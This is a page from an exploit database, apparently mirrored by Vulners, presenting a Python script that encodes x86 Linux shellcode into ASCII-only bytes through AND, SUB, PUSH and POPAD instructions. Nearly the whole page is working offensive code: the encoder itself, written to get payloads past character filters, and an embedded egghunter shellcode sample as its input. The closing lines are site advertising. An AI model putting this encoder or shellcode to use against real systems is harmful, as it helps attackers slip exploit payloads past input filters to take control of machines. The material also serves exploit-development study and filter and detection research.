Lucene search
K

Linux/x86 - ASCII AND, SUB, PUSH, POPAD Encoder Shellcode

🗓️ 27 Jun 2019 00:00:00Reported by Petr JavorikType 
zdt
 zdt
🔗 0day.today👁 223 Views

Linux ASCII AND, SUB, PUSH, POPAD encoder shellcode with UTF-8 support and bad character validation

Code
#!/usr/bin/env python3

################################################################################
# INTRODUCTION
################################################################################

# Encoder Title: ASCII shellcode encoder via AND, SUB, PUSH, POPAD
# Date: 26.6.2019
# Encoder Author: Petr Javorik, www.mmquant.net
# Tested on: Linux ubuntu 3.13.0-32-generic, x86
# Special thx to: Corelanc0d3r for intro to this technique
#
# Description:
# This encoder is based on egghunter found in https://www.exploit-db.com/exploits/5342
# Core idea is that every dword can be derived using 3 SUB instructions
# with operands consisting strictly of ASCII compatible bytes.
#
# What it does?:
# Suppose that we want to push \x05\xEB\xD1\x8B (0x8BD1EB05) to the stack.
# Then we can do it as follows:
#
# AND EAX, 3F465456
# AND EAX, 40392B29         ; Two AND instructions zero EAX
# SUB EAX, 3E716230         ; Subtracting 3 dwords consisting
# SUB EAX, 5D455523         ; of ASCII compatible bytes from 0x00000000
# SUB EAX, 5E5D7722         ; we get EAX = 0x8BD1EB05
# PUSH EAX

# Mandatory bytes:
# \x25  AND EAX, imm32
# \x2d  SUB EAX, imm32
# \x50  PUSH EAX
# \x61  POPAD

# How to use:
# Edit the SETTINGS section and simply run as
# ./ASCIIencoder

# ProTip:
# Take special attention to the memory between the end of decoder instructions
# and the beginning of decoded shellcode. Program flow must seamlessly step over
# this memory. If this "bridge memory area" contains illegal opcodes they can
# be rewritten with additional PUSH instruction appended to the end of generated
# shellcode. Use for example PUSH 0x41414141.

################################################################################

import itertools
import struct
import random
import sys

assert sys.version_info >= (3, 6)


################################################################################
# CONSTANTS - no changes needed here
################################################################################

# ASCII character set
L_CASE = bytearray(range(0x61, 0x7b))   # abcdefghijklmnopqrstuvwxyz
U_CASE = bytearray(range(0x41, 0x5b))   # ABCDEFGHIJKLMNOPQRSTUVWXYZ
NUMBERS = bytearray(range(0x30, 0x3a))  # 0123456789
SPECIAL_CHARS = bytearray(
    itertools.chain(
        range(0x21, 0x30),  # !"#$%&\'()*+,-.
        range(0x3a, 0x41),  # :;<=>?
        range(0x5b, 0x61),  # [\\]^_
        range(0x7b, 0x7f)   # {|}
    )
)
ASCII_NOPS = b'\x41\x42\x43\x44'     # and many more
ALL_CHARS = (L_CASE + U_CASE + NUMBERS + SPECIAL_CHARS)

################################################################################
# SETTINGS - enter shellcode, select character set and bad chars
################################################################################

input_shellcode = (
    b'\x8b\xd1\xeb\x05\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e'
    b'\x3c\x05\x5a\x74\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf'
    b'\x75\xe7\xff\xe7'
)

# input_charset = U_CASE + L_CASE
input_charset = ALL_CHARS

# badchars = b''
badchars = b''

nops = ASCII_NOPS

################################################################################
# CORE - no changes needed here
################################################################################

class ASCII_Encoder(object):

    def __init__(self, shellcode_, charset_, badchars_, nops_):

        # Constructor args
        self.shellcode = bytearray(shellcode_)
        self.charset = charset_
        self.badchars = badchars_
        self.nops = nops_

        # Private vars
        self.encoded_dwords = []
        self.twos_comps = []
        self.sub_operands = []
        self.payload = bytearray()

    def encode(self):

        self.align_to_dwords()
        self.remove_badchars()
        self.derive_dwords_sub()
        self.compensate_overflow()
        self.derived_dwords_to_sub_operands()
        self.twos_comp_check()
        self.compile_payload()


    def align_to_dwords(self):

        # Input shellcode alignment to dword multiples
        nop = b'\x90'
        pad_count = 4 - (len(self.shellcode) % 4)
        if 0 < pad_count < 4:
            self.shellcode += nop * pad_count

    def remove_badchars(self):

        for badchar in self.badchars:
            self.charset = self.charset.replace(bytes([badchar]), b'')
            self.nops = self.nops.replace(bytes([badchar]), b'')

    def derive_dwords_sub(self):

        def get_sub_encoding_bytes(target):
            """
            target      x   y       z
            0x100 - (0x21+0x21) = 0xbe

            We need to select x, y, z such that it gives target when summed and all of
            x, y, z is ASCII and non-badchar
            """

            # Get all possible solutions
            all_xy = list(itertools.combinations_with_replacement(self.charset, 2))
            results = []
            for x, y in all_xy:
                z = target - (x + y)
                # Get only bytes which are ASCII and non-badchar
                if (0 < z < 256) and (z in self.charset):
                    results.append({
                        'x': x,
                        'y': y,
                        'z': z,
                        'of': True if target >= 0x100 else False
                    })

            # Choose random solution
            return random.choice(results)

        for dword in struct.iter_unpack('<L', self.shellcode):

            # 32-bit 2's complement
            twos_comp = (dword[0] ^ 0xffffffff) + 1
            self.twos_comps.append(twos_comp)

            encoded_block = []
            for byte_ in struct.pack('>L', twos_comp):

                # Will overflow be used when calculating this byte using 3 SUB instructions?
                if byte_ / 3 < min(self.charset):
                    byte_ += 0x100
                encoded_block.append(
                    get_sub_encoding_bytes(byte_))
                pass

            self.encoded_dwords.append(encoded_block)

    def compensate_overflow(self):

        # If neighbor lower byte overflow then subtract 1 from max(x, y, z)
        for dword in self.encoded_dwords:
            for solution, next_solution in zip(dword, dword[1:]):
                if next_solution['of']:
                    max_value_key = max(solution, key=solution.get)
                    solution[max_value_key] -= 1

    def derived_dwords_to_sub_operands(self):

        for dword in self.encoded_dwords:

            sub_operand_0 = struct.pack('<BBBB',
                                        *[solution['x'] for solution in dword])
            sub_operand_1 = struct.pack('<BBBB',
                                        *[solution['y'] for solution in dword])
            sub_operand_2 = struct.pack('<BBBB',
                                        *[solution['z'] for solution in dword])

            self.sub_operands.append([
                sub_operand_0,
                sub_operand_1,
                sub_operand_2
            ])

    def twos_comp_check(self):

        # Check if calculated dwords for SUB instruction give 2's complement if they are summed
        for twos_comp, sub_operand in zip(self.twos_comps, self.sub_operands):
            sup_operand_sum = sum(
                [int.from_bytes(dw, byteorder='big') for dw in sub_operand])

            # Correction of sum if there is overflow on the highest byte
            if sup_operand_sum > 0xffffffff:
                sup_operand_sum -= 0x100000000
            assert (twos_comp == sup_operand_sum)

    def compile_payload(self):

        def derive_bytes_and():

            all_xy = list(itertools.combinations_with_replacement(self.charset, 2))
            results = []
            for x, y in all_xy:
                if x + y == 127:
                    results.append((x, y))
            while 1:
                yield random.choice(results)

        def derive_dwords_and():

            gen_bytes = derive_bytes_and()
            bytes_ = []
            for _ in range(0, 4):
                bytes_.append(next(gen_bytes))

            return bytes_

        # POPAD n times to adjust ESP.
        # Decoded shellcode must be written after the decoder stub
        self.payload += b'\x61' * (len(self.encoded_dwords))

        for sub_operand in reversed(self.sub_operands):

            # Clearing EAX instructions with AND instructions
            bytes_ = derive_dwords_and()

            self.payload += b'\x25' + struct.pack('<BBBB',
                                             *[byte_[0] for byte_ in bytes_])
            self.payload += b'\x25' + struct.pack('<BBBB',
                                             *[byte_[1] for byte_ in bytes_])

            # Encoded shellcode with SUB instructions
            self.payload += b'\x2d' + sub_operand[0][::-1]
            self.payload += b'\x2d' + sub_operand[1][::-1]
            self.payload += b'\x2d' + sub_operand[2][::-1]

            # Push EAX
            self.payload += b'\x50'

        # Pad with NOPs
        self.payload += bytes(random.choices(self.nops, k=9))

    def print_payload(self):

        print('Original payload length: {}'.format(len(input_shellcode)))
        print('Encoded payload length: {}'.format(len(self.payload)))
        print('hex:  ',
              '\\x' + '\\x'.join('{:02x}'.format(byte) for byte in self.payload))


if __name__ == '__main__':

    encoder = ASCII_Encoder(input_shellcode, input_charset, badchars, nops)
    encoder.encode()
    encoder.print_payload()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation